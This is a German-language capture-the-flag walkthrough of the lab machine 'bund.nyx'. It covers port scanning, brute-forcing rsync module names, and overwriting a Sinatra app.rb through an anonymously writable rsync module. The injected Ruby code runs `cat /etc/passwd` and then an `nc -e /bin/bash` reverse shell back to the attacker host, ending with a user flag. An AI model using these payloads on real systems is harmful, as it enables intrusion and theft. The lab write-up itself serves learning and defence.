Die Erkundung beginnt mit dem benutzerdefinierten Skript `recon_script.sh`, um das Zielsystem `bund.nyx` zu identifizieren.
# (Keine direkte Ausgabe, Zuweisung an Variable X)
**Analyse:** Das Skript `./recon_script.sh` wird ausgeführt (mit dem Hostnamen `jenk.nyx` als Argument, was möglicherweise ein Tippfehler ist, da das Ziel später `bund.nyx` genannt wird). Die Ausgabe des Skripts wird in der Shell-Variable `X` gespeichert.
**Bewertung:** Standardmäßige Ausführung eines Skripts und Speicherung der Ausgabe. Der Inhalt von `X` wird im nächsten Schritt relevant.
**Empfehlung (Pentester):** Sicherstellen, dass der korrekte Hostname an Skripte übergeben wird. Den Inhalt von Variablen immer überprüfen. **Empfehlung (Admin):** Keine direkte Aktion erforderlich.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128
ARP-Scan
192.168.2.128 08:00:27:e9:49:e5 PCS Systemtechnik GmbH
/etc/hosts
127.0.0.1 localhost
192.168.2.128 bund.nyx
**Analyse:** Der Inhalt der Variable `X` wird mit `echo` ausgegeben. Er zeigt die Ergebnisse des Recon-Skripts: * Die identifizierte IP-Adresse des Ziels: `192.168.2.128`. * Das Ergebnis eines ARP-Scans, der die MAC-Adresse `08:00:27:e9:49:e5` (Oracle VirtualBox) für diese IP bestätigt. * Einen Hinweis darauf, dass die `/etc/hosts`-Datei angepasst wurde, um `bund.nyx` der IP `192.168.2.128` zuzuordnen.
**Bewertung:** Das Skript hat erfolgreich das Ziel identifiziert und die grundlegende Konfiguration für weitere Scans vorgenommen. Die IP `192.168.2.128` und der Hostname `bund.nyx` sind die primären Identifikatoren.
**Empfehlung (Pentester):** Mit den gewonnenen Informationen detaillierte Port-Scans starten. **Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von Scan-Aktivitäten.
Es folgt die Suche nach IPv6-Nachbarn und ein anschließender IPv6-Portscan.
# (Keine Ausgabe)
# (Keine Ausgabe)
: Nmap IPv6 Scan : - IPv6 Adresse: fe80::a00:27ff:fee9:49e5%eth0: - Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-14 23:17 CEST Nmap scan report for fe80::a00:27ff:fee9:49e5 Host is up (0.000090s latency). Not shown: 997 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http 873/tcp open rsync MAC Address: 08:00:27:E9:49:E5 (racle VirtualBox virtual NIC)
**Analyse:** Die bekannte Befehlskette extrahiert die Link-Local IPv6-Adresse des Ziels (`fe80::a00:27ff:fee9:49e5`) und führt einen Nmap-Scan (`-6`) darauf aus. Der Scan identifiziert drei offene TCP-Ports über IPv6: * **Port 22 (SSH)** * **Port 80 (HTTP)** * **Port 873 (rsync)**
**Bewertung:** Der IPv6-Scan deckt bereits einen Großteil der später im IPv4-Scan gefundenen TCP-Dienste auf (SSH, HTTP, rsync). Dies bestätigt deren Erreichbarkeit über IPv6.
**Empfehlung (Pentester):** Rsync (Port 873) als potenziellen Angriffsvektor neben HTTP und SSH vormerken. IPv4-Scans durchführen, um das Bild zu vervollständigen. **Empfehlung (Admin):** Firewall-Regeln für IPv6 prüfen. Sicherstellen, dass der rsync-Dienst, falls benötigt, sicher konfiguriert ist (z.B. Authentifizierung, eingeschränkte Module).
Ein schneller TCP-Scan über IPv4 wird durchgeführt, um nur offene Ports anzuzeigen.
Nmap nur offene Ports Ausgabe : 22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) 873/tcp open rsync (protocol version 31) 9393/tcp open http WEBrick httpd 1.8.1 (Ruby 2.7.4 (2021-07-07))
**Analyse:** Der gefilterte Nmap TCP SYN-Scan (`| grep open`) auf die IPv4-Adresse `$IP` (192.168.2.128) findet vier offene Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian). * **Port 80 (HTTP):** Apache 2.4.56 (Debian). * **Port 873 (rsync):** Rsync-Dienst (Protokollversion 31). * **Port 9393 (HTTP):** Ein weiterer HTTP-Dienst, der als WEBrick 1.8.1 (Ruby 2.7.4) identifiziert wird.
**Bewertung:** Der IPv4-Scan bestätigt die über IPv6 gefundenen Ports (22, 80, 873) und findet einen zusätzlichen offenen Port: **9393**. Auf diesem läuft ein WEBrick-Server, der oft für Ruby-Webanwendungen (z.B. Rails, Sinatra) verwendet wird. Dies ist ein sehr interessanter Fund.
**Empfehlung (Pentester):** Alle vier Ports untersuchen. Besondere Aufmerksamkeit gilt dem rsync-Dienst (Port 873) und dem WEBrick-Server (Port 9393), da diese oft spezifische Schwachstellen oder Konfigurationsprobleme aufweisen. **Empfehlung (Admin):** Sicherstellen, dass alle vier Dienste benötigt und sicher konfiguriert sind. Insbesondere WEBrick ist oft ein Entwicklungs-Server und sollte nicht in Produktionsumgebungen ohne Absicherung laufen.
Der vollständige TCP-Scan über IPv4 wird zur Detailansicht ausgeführt.
: Nmap volle Ausgabe : Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-14 23:17 CEST Nmap scan report for bund.nyx (192.168.2.128) Host is up (0.00014s latency). Not shown: 65531 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.56 (Debian) 873/tcp open rsync (protocol version 31) 9393/tcp open http WEBrick httpd 1.8.1 (Ruby 2.7.4 (2021-07-07)) |_http-server-header: WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07) |_http-title: Site doesn't have a title (text/html;charset=utf-8). MAC Address: 08:00:27:E9:49:E5 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 5.X S CPE: cpe:/o:linux:linux_kernel:5 S details: Linux 5.0 - 5.5 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.14 ms bund.nyx (192.168.2.128)
**Analyse:** Die vollständige Ausgabe bestätigt die vier offenen Ports und liefert zusätzliche Details: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 5+deb11u1). Host-Schlüssel werden angezeigt. * **Port 80 (HTTP):** Apache 2.4.56 (Debian). Kein Seitentitel. * **Port 873 (rsync):** Standard-rsync-Port, Protokollversion 31. * **Port 9393 (HTTP):** WEBrick 1.8.1 (Ruby 2.7.4). Kein Seitentitel. * **Betriebssystem:** Linux 5.x.
**Bewertung:** Die Versionsinformationen sind nützlich. OpenSSH 8.4p1 und Apache 2.4.56 haben keine trivialen bekannten Schwachstellen für einen direkten Einstieg. Rsync und WEBrick sind die vielversprechenderen Ziele für weitere Enumeration und mögliche Angriffe.
**Empfehlung (Pentester):** Rsync auf Port 873 auf offene/anonyme Module prüfen (`rsync [IP]::`). Den WEBrick-Server auf Port 9393 mit Web-Enumeration-Tools und manuell untersuchen. **Empfehlung (Admin):** Rsync absichern (Authentifizierung, Modulberechtigungen). Den WEBrick-Server prüfen: Ist er notwendig? Wenn ja, sicher konfigurieren und idealerweise hinter einem Reverse Proxy betreiben.
Überprüfung der erlaubten HTTP-Methoden auf Port 80.
: HTTP Header Permissions : HTTP Records Permissions : Allow: GET,POST,OPTIONS,HEAD
**Analyse:** Ein `curl`-Befehl sendet eine `OPTIONS`-Anfrage an Port 80 (`http://$IP`). * `-X OPTIONS`: Setzt die HTTP-Methode auf OPTIONS. * `-I`: Ruft nur die Header ab. * `-s`: Unterdrückt Fortschrittsanzeigen. * `| grep -i "allow"`: Filtert die Ausgabe nach der Zeile, die den `Allow`-Header enthält. Das Ergebnis zeigt, dass die Methoden `GET`, `POST`, `OPTIONS`, `HEAD` erlaubt sind.
**Bewertung:** Nur Standard-HTTP-Methoden sind auf Port 80 erlaubt. Gefährlichere Methoden wie `PUT` oder `DELETE` sind nicht aktiviert.
**Empfehlung (Pentester):** Zur Kenntnis nehmen. Konzentration auf andere Angriffsvektoren. **Empfehlung (Admin):** Korrekte Konfiguration. Sicherstellen, dass nur notwendige HTTP-Methoden erlaubt sind.
Überprüfung der HTTP-Header von Port 80 mit `curl`.
: WEB-Server Scan : * Trying 192.168.2.128:80... * Connected to 192.168.2.128 (192.168.2.128) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.128 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Sat, 14 Sep 2024 21:18:36 GMT Date: Sat, 14 Sep 2024 21:18:36 GMT < Server: Apache/2.4.56 (Debian) Server: Apache/2.4.56 (Debian) < Last-Modified: Sat, 27 May 2023 10:32:17 GMT Last-Modified: Sat, 27 May 2023 10:32:17 GMT < ETag: "13-5fcaa5e1b9c79" ETag: "13-5fcaa5e1b9c79" < Accept-Ranges: bytes Accept-Ranges: bytes < Content-Length: 19 Content-Length: 19 < Content-Type: text/html Content-Type: text/html < * Connection #0 to host 192.168.2.128 left intact
**Analyse:** `curl -Iv` sendet eine HEAD-Anfrage an Port 80 und zeigt die Antwort-Header. Die Header bestätigen den Apache-Server, das Datum der letzten Änderung der Ressource (`index.html`) und eine sehr geringe Inhaltslänge (`Content-Length: 19`). Der ETag-Header ist ebenfalls vorhanden.
**Bewertung:** Bestätigt die Nmap-Ergebnisse. Die geringe Größe der Datei (`19 Byte`) deutet auf eine extrem einfache oder leere Seite hin.
**Empfehlung (Pentester):** Den Inhalt der Seite ansehen. Weiter mit Directory-Bruteforcing. **Empfehlung (Admin):** Standardseite ersetzen oder entfernen.
Nikto-Scan auf Port 80.
Nikto Scan - Nikto v2.5.0 + Target IP: 192.168.2.128 + Target Hostname: 192.168.2.128 + Target Port: 80 + Start Time: 2024-09-14 23:18:37 (GMT2) + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8102 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2024-09-14 23:19:06 (GMT2) (29 seconds) + 1 host(s) tested
**Analyse:** Der Nikto-Scan auf Port 80 wiederholt die bereits bekannten Funde: fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). Es werden keine weiteren Schwachstellen oder interessanten Pfade gefunden.
**Bewertung:** Nikto liefert keine neuen Erkenntnisse für Port 80.
**Empfehlung (Pentester):** Fokus auf Port 873 (rsync) und 9393 (WEBrick). **Empfehlung (Admin):** Fehlende Header hinzufügen.
Gobuster-Scan auf Port 80.
: Gobuster Scan : http://192.168.2.128/index.html (Status: 200) [Size: 19]
**Analyse:** Der Gobuster-Scan auf Port 80 mit der `-medium`-Wortliste findet erwartungsgemäß nur die extrem kleine `index.html` (19 Bytes).
**Bewertung:** Bestätigt, dass auf Port 80 keine weiteren gängigen Dateien oder Verzeichnisse aus der Wortliste existieren.
**Empfehlung (Pentester):** Port 80 als weniger interessant einstufen.
Manuelle Untersuchung der `index.html` auf Port 80.
Under Construction
GET http://bund/index.html Status 200 K VersionHTTP/1.1 Sat, 27 May 2023 10:32:17 GMT Server Apache/2.4.56 (Debian) 1 User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
**Analyse:** Der direkte Aufruf von `http://bund.nyx/index.html` (oder der IP) zeigt den Text "Under Construction". Die Analyse der Response Header (vermutlich aus Browser-Entwicklertools) bestätigt den Status 200 und den Apache-Server.
**Bewertung:** Die Webseite auf Port 80 ist nur eine Platzhalterseite ohne Funktionalität.
**Empfehlung (Pentester):** Port 80 ignorieren, es sei denn, spätere Funde deuten auf eine Verbindung hin.
Untersuchung des WEBrick-Servers auf Port 9393 mit Netcat.
(UNKNWN) [192.168.2.128] 9393 (?) open help HTTP/1.1 400 Bad Request Content-Type: text/html; charset=IS-8859-1 Server: WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07) Date: Sat, 14 Sep 2024 21:26:28 GMT Content-Length: 279 Connection: closeBad Request Bad Request
bad Request-Line `help'. WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07) at bund:9393
**Analyse:** Eine Verbindung wird mit `nc -nv` zu Port 9393 aufgebaut. Der Port ist offen. Der Text `help` wird gesendet. Der WEBrick-Server antwortet mit `HTTP/1.1 400 Bad Request`, da `help` keine gültige HTTP-Request-Zeile ist. Die Antwort bestätigt die Server-Software (WEBrick/1.8.1, Ruby/2.7.4).
**Bewertung:** Der Port ist offen und reagiert auf HTTP-Anfragen (wenn auch mit einem Fehler auf die ungültige Eingabe). Dies bestätigt den Nmap-Scan. Es gibt keine sofort ersichtliche Schwachstelle durch diese Interaktion.
**Empfehlung (Pentester):** Den Port mit gültigen HTTP-Anfragen (z.B. `GET / HTTP/1.1`) über `curl` oder einen Browser ansprechen. Nach bekannten Schwachstellen für WEBrick 1.8.1 oder Ruby 2.7.4 suchen. **Empfehlung (Admin):** WEBrick absichern oder ersetzen, wenn möglich.
Der offene rsync-Port (873) wird genauer untersucht.
Manuelle Verbindung mit Netcat zum rsync-Port.
(UNKNWN) [192.168.2.128] 873 (rsync) open @RSYNCD: 31.0 id @ERROR: protocol startup error
(UNKNWN) [192.168.2.128] 873 (rsync) open @RSYNCD: 31.0 raidroot @ERROR: protocol startup error
**Analyse:** Mehrere Versuche werden unternommen, sich manuell mit `nc` auf Port 873 zu verbinden. Der Server antwortet mit dem rsync-Protokoll-Header (`@RSYNCD: 31.0`). Die anschließende Eingabe von `id` oder `raidroot` (vermutlich Versuche, Modulnamen zu erraten) führt zu einem Protokollfehler (`@ERROR: protocol startup error`), da `nc` das rsync-Protokoll nicht korrekt spricht.
**Bewertung:** Bestätigt, dass ein rsync-Daemon auf Port 873 lauscht. Manuelle Interaktion mit `nc` ist jedoch nicht geeignet, um Module aufzulisten oder zu interagieren.
**Empfehlung (Pentester):** Spezielle rsync-Clients oder Nmap/Metasploit-Skripte verwenden, um nach offenen Modulen zu suchen (`rsync [IP]::` oder `nmap --script rsync-list-modules`). **Empfehlung (Admin):** Rsync-Daemon-Konfiguration überprüfen (`rsyncd.conf`).
Nmap-Skript `rsync-list-modules` wird verwendet.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-14 23:29 CEST Nmap scan report for bund.nyx (192.168.2.128) Host is up (0.00018s latency). PRT STATE SERVICE VERSIN 873/tcp open rsync (protocol version 31) | rsync-list-modules: |_ MAC Address: 08:00:27:E9:49:E5 (racle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
**Analyse:** Nmap wird mit dem Skript `rsync-list-modules` auf Port 873 ausgeführt. Das Skript versucht, die verfügbaren rsync-Module aufzulisten. Die Ausgabe unter `| rsync-list-modules:` ist jedoch leer.
**Bewertung:** Das Nmap-Skript konnte keine öffentlich aufgelisteten rsync-Module finden. Das bedeutet nicht zwangsläufig, dass keine existieren, sondern nur, dass sie nicht in der Konfiguration zur Auflistung freigegeben sind.
**Empfehlung (Pentester):** Versuchen, bekannte oder häufige Modulnamen zu erraten (z.B. `public`, `share`, `backup`, `files`) oder eine Wortliste zu verwenden (siehe Metasploit/Python-Skript). **Empfehlung (Admin):** Auflistung von Modulen in `rsyncd.conf` deaktivieren (`list = false`), wenn nicht benötigt.
Metasploit-Modul `auxiliary/scanner/rsync/modules_list` wird verwendet.
Module options (auxiliary/scanner/rsync/modules_list): Name Current Setting Required Description ---------------- --------------- -------- ----------- RHOSTS yes The target host(s), see [Link: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | Ziel: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html] RPORT 873 yes The target port (TCP) TEST_AUTHENTICATION true yes Test if the rsync module requires authentication THREADS 1 yes The number of concurrent threads (max one per host) View the full module info with the info, or info -d command.
RHOSTS => 192.168.2.128
RPORT => 873
TEST_AUTHENTICATION => true
[*] 192.168.2.128:873 - no rsync modules found
[*] 192.168.2.128:873 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
**Analyse:** Das Metasploit-Modul `auxiliary/scanner/rsync/modules_list` wird konfiguriert und ausgeführt, um ebenfalls nach rsync-Modulen zu suchen. Es wird `RHOSTS` auf die Ziel-IP gesetzt, `RPORT` auf 873 und `TEST_AUTHENTICATION` auf `true` (was hier irrelevant ist, da keine Module gefunden werden). Das Modul meldet ebenfalls `no rsync modules found`.
**Bewertung:** Sowohl Nmap als auch Metasploit scheitern daran, Module über die Standard-Listing-Methode zu finden. Dies bestärkt die Vermutung, dass die Module entweder nicht existieren oder nicht öffentlich gelistet werden.
**Empfehlung (Pentester):** Brute-Forcing von Modulnamen mit einer Wortliste ist der nächste logische Schritt. **Empfehlung (Admin):** Konfiguration überprüfen.
Ein benutzerdefiniertes Python-Skript (`rsync_enum.py`) wird vorbereitet und verwendet, um rsync-Modulnamen mit einer Wortliste zu erraten.
# (Verschiebt das Skript ins Verzeichnis)
# (Installiert Abhängigkeiten)
# (Macht das Skript ausführbar)
**Analyse:** Mehrere Befehle bereiten die Ausführung eines Python-Skripts namens `rsync_enum.py` vor: * Ein Verzeichnis `rsync_enum` wird erstellt. * Das Skript `rsync_enum.py` wird in dieses Verzeichnis verschoben. * Die Python-Bibliothek `pwntools` (eine häufige Abhängigkeit für Exploit-Skripte) wird mit `pip` installiert. * Das Skript wird mit `chmod +x` ausführbar gemacht.
**Bewertung:** Standardmäßige Vorbereitungsschritte zur Ausführung eines heruntergeladenen oder selbst geschriebenen Python-Tools.
**Empfehlung (Pentester):** Das Skript mit der Hilfe-Option (`-h`) aufrufen, um die Funktionsweise zu verstehen, bevor es mit einer Wortliste ausgeführt wird.
[*]
[*] ===========================
[*] Rsync Enumeration
[*] ===========================
[*]
usage: rsync_enum.py [-h] -t TARGET_IP -w WORDLIST
Run rsync command with wordlist.
options:
-h, --help show this help message and exit
-t TARGET_IP, --target-ip TARGET_IP
Target IP address for rsync
-w WORDLIST, --wordlist WORDLIST
Path to wordlist file
**Analyse:** Die Hilfe-Ausgabe des Skripts `rsync_enum.py` wird angezeigt. Es benötigt eine Ziel-IP (`-t`) und eine Wortliste (`-w`), um zu versuchen, rsync-Modulnamen zu erraten.
**Bewertung:** Klärt die erforderlichen Parameter für das Skript.
[*] [*] =========================== [*] Rsync Enumeration [*] =========================== [*] [+] Checking index: Done [+] Checking upload_an_incredible_message: Done [+] Checking .jenkins: Done [+] Checking .Jenkins: Done [+] Checking slideshow: Done [+] Checking bl: Done [+] Checking exchange: Done [+] Checking J: Done [+] Checking nieuws: Done [+] Checking vendor: Done [+] Checking 193: Done [+] Checking fileadmin: Done [*] Listing for fileadmin: receiving incremental file list drwxrwxrwx 4.096 2023/05/27 16:40:29 . -rwxrwxrwx 14 2023/05/27 12:00:12 Gemfile -rwxrwxrwx 370 2023/05/27 12:01:38 Gemfile.lock -rwxrwxrwx 75 2023/05/27 16:30:25 app.rb sent 20 bytes received 110 bytes 260,00 bytes/sec total size is 459 speedup is 3,53
**Analyse:** Das Skript `rsync_enum.py` wird mit der Ziel-IP und der `directory-list-2.3-medium.txt` als Wortliste ausgeführt. Das Skript testet verschiedene potenzielle Modulnamen aus der Wortliste. Es findet ein gültiges Modul namens `fileadmin`. Anschließend listet es erfolgreich den Inhalt dieses Moduls auf, ohne dass eine Authentifizierung erforderlich ist. Im Modul befinden sich die Dateien `Gemfile`, `Gemfile.lock` und `app.rb`.
**Bewertung:** **Wichtiger Durchbruch!** Obwohl die Standard-Tools keine Module fanden, hat das Brute-Forcing mit dem Python-Skript das anonym zugängliche Modul `fileadmin` aufgedeckt. Der Inhalt (`Gemfile`, `app.rb`) deutet stark auf eine Ruby-Anwendung hin, was zum WEBrick-Server auf Port 9393 passt.
**Empfehlung (Pentester):** Den Inhalt des `fileadmin`-Moduls mit dem `rsync`-Client herunterladen, insbesondere die Datei `app.rb`, um den Quellcode der Anwendung zu analysieren. **Empfehlung (Admin):** Den anonymen Zugriff auf das rsync-Modul `fileadmin` unterbinden (Authentifizierung erzwingen oder Modul entfernen). Überprüfen, warum dieses Modul existiert und welche Daten es enthält.
Dieser Abschnitt demonstriert, wie das anonym zugängliche rsync-Modul `fileadmin` ausgenutzt wird, um eine Webanwendung zu manipulieren und Remote Code Execution (RCE) zu erlangen.
**Kurzbeschreibung:** Der rsync-Dienst auf Port 873 erlaubt anonymen Lese- und Schreibzugriff auf das Modul `fileadmin`. Dieses Modul enthält den Quellcode (`app.rb`) einer Sinatra/Ruby-Webanwendung, die auf Port 9393 (WEBrick) läuft. Durch Herunterladen, Modifizieren und erneutes Hochladen der `app.rb`-Datei kann beliebiger Code auf dem Server im Kontext des WEBrick-Prozesses ausgeführt werden.
**Voraussetzungen:**
Schritt-für-Schritt Anleitung:
1. Herunterladen der Anwendungsdateien aus dem rsync-Modul.
# (Keine Ausgabe, Datei wird heruntergeladen)
-rwxr-xr-x 1 root root 75 14. Sep 23:52 app.rb
# (Keine Ausgabe, Datei wird heruntergeladen)
ls: Zugriff auf 'gem*' nicht möglich: Datei oder Verzeichnis nicht gefunden
-rwxr-xr-x 1 root root 14 14. Sep 23:52 Gemfile
**Analyse des Schritts:** Der `rsync`-Befehl wird verwendet, um Dateien aus dem Modul `fileadmin` herunterzuladen. Die Syntax `[IP]::[MODUL]/[DATEI]` wird genutzt. `app.rb` und `Gemfile` werden erfolgreich heruntergeladen. Der Befehl `ll gem*` schlägt fehl, da die Datei `Gemfile` großgeschrieben ist; `ll Gem*` findet sie dann.
**Bewertung:** Die relevanten Anwendungsdateien sind nun lokal verfügbar.
2. Analyse der ursprünglichen `app.rb`.
require 'sinatra' require 'shotgun' get '/' do "Under Construction" end
**Analyse des Schritts:** Der Inhalt der heruntergeladenen `app.rb` wird angezeigt. Es ist eine minimale Sinatra-Anwendung, die auf GET-Anfragen an die Root-URL (`/`) nur den Text "Under Construction" zurückgibt. `shotgun` wird ebenfalls eingebunden, was oft für die automatische Neuladung von Code während der Entwicklung verwendet wird.
**Bewertung:** Die Anwendung ist extrem einfach, bietet aber durch die `get '/' do ... end`-Struktur einen klaren Punkt zur Code-Injection.
3. Modifizieren der `app.rb` zum Auslesen von `/etc/passwd`.
# (Datei wird bearbeitet)
require 'sinatra'
require 'shotgun'
get '/' do
`cat /etc/passwd`
end
**Analyse des Schritts:** Die `app.rb` wird bearbeitet. Der ursprüngliche String `"Under Construction"` wird durch Backticks (`` ` ``) ersetzt, die einen Systembefehl umschließen: `` `cat /etc/passwd` ``. In Ruby führen Backticks den enthaltenen Shell-Befehl aus und geben dessen Standardausgabe als String zurück. Wenn also die Root-URL (`/`) auf Port 9393 aufgerufen wird, wird der Befehl `cat /etc/passwd` auf dem Server ausgeführt, und dessen Ausgabe wird als HTTP-Antwort zurückgegeben.
**Bewertung:** Dies ist eine klassische Code-Injection. Die Fähigkeit, die `app.rb` über rsync zu überschreiben, kombiniert mit der Ausführung durch den WEBrick-Server, ermöglicht das Ausführen von Befehlen.
4. Hochladen der modifizierten `app.rb` zurück auf den Server.
# (Keine Ausgabe, Datei wird hochgeladen)
**Analyse des Schritts:** Die lokal modifizierte `app.rb` wird mit `rsync` zurück in das `fileadmin`-Modul auf dem Zielserver hochgeladen und überschreibt dort die Originaldatei.
**Bewertung:** Der schadhafte Code ist nun auf dem Server platziert.
5. Auslösen des modifizierten Codes durch Aufruf der Webanwendung.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin axel:x:1000:1000:axel,,,:/home/axel:/bin/bash
**Analyse des Schritts:** Ein `curl`-Request wird an die Root-URL des WEBrick-Servers (`http://bund.nyx:9393/`) gesendet. Der Server führt die modifizierte `app.rb` aus. Der Befehl `` `cat /etc/passwd` `` wird als Benutzer `axel` (der Benutzer, unter dem der WEBrick-Server vermutlich läuft) ausgeführt. Die Ausgabe von `/etc/passwd` wird als HTTP-Antwort zurückgegeben und von `curl` angezeigt. Ein Benutzer `axel` mit Home `/home/axel` und Shell `/bin/bash` wird identifiziert.
**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, dass der Inhalt von `/etc/passwd` angezeigt wird, was erfolgreich geschah. Dies beweist die Code-Ausführung.
**Beweismittel:** Die obige Terminalausgabe zeigt den Inhalt von `/etc/passwd`, der durch den Aufruf der manipulierten Webanwendung erlangt wurde.
**Risikobewertung:** Kritisch. Der anonyme Schreibzugriff auf das rsync-Modul ermöglicht das Überschreiben von Anwendungscode und führt direkt zu Remote Code Execution im Kontext des Webserver-Benutzers (`axel`). Dies erlaubt dem Angreifer, Befehle auf dem System auszuführen, auf Dateien zuzugreifen und potenziell weitere Angriffe zu starten.
**Empfehlungen:** * **(Admin):** Den anonymen Schreibzugriff auf das rsync-Modul `fileadmin` sofort entfernen. Die Berechtigungen der Dateien im Modul überprüfen. Den WEBrick-Server absichern oder ersetzen. Die Ursache für die unsichere rsync-Konfiguration finden. * **(Pentester):** Die RCE nutzen, um eine interaktive Shell zu erhalten (z.B. Reverse Shell).
Die durch den POC erlangte Remote Code Execution wird genutzt, um eine Reverse Shell zu erhalten.
root:x:0:0:root:/root:/bin/bash axel:x:1000:1000:axel,,,:/home/axel:/bin/bash
**Analyse:** Erneuter Aufruf der URL, diesmal wird die Ausgabe durch `grep bash` gefiltert, um schnell die Benutzer mit einer Bash-Shell zu identifizieren (`root` und `axel`). `-s` unterdrückt die Fortschrittsanzeige von `curl`.
**Bewertung:** Bestätigt die Existenz des Benutzers `axel` mit einer interaktiven Shell.
**Empfehlung (Pentester):** Nun `app.rb` modifizieren, um eine Reverse Shell als `axel` zu starten.
Modifizieren der `app.rb`, um eine Netcat-Reverse-Shell zu starten.
# (Datei wird bearbeitet)
require 'sinatra'
require 'shotgun'
get '/' do
`nc -e /bin/bash 192.168.2.199 4444`
end
**Analyse:** Die `app.rb` wird erneut bearbeitet. Der Befehl in den Backticks wird geändert zu `` `nc -e /bin/bash 192.168.2.199 4444` ``. Dieser Befehl soll eine Reverse Shell zum Angreifer-System (`192.168.2.199`) auf Port `4444` starten.
**Bewertung:** Standard-Payload für eine Netcat-Reverse-Shell.
**Empfehlung (Pentester):** Die modifizierte Datei hochladen und einen Listener starten.
Hochladen der modifizierten `app.rb`.
# (Keine Ausgabe)
**Analyse:** Die `app.rb` mit dem Reverse-Shell-Payload wird über rsync hochgeladen.
**Bewertung:** Der Payload ist nun auf dem Server.
Starten des Netcat-Listeners auf dem Angreifer-System und Auslösen der Reverse Shell.
listening on [any] 4444 ...
# (Keine direkte Ausgabe von curl, da die Verbindung zur Reverse Shell aufgebaut wird)
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.128] 41362 id uid=1000(axel) gid=1000(axel) grupos=1000(axel) ls app.rb Gemfile Gemfile.lock cd ~ ls user.txt cat user.txt 2cbcb2f721f743c1a42dcd092dc571ea
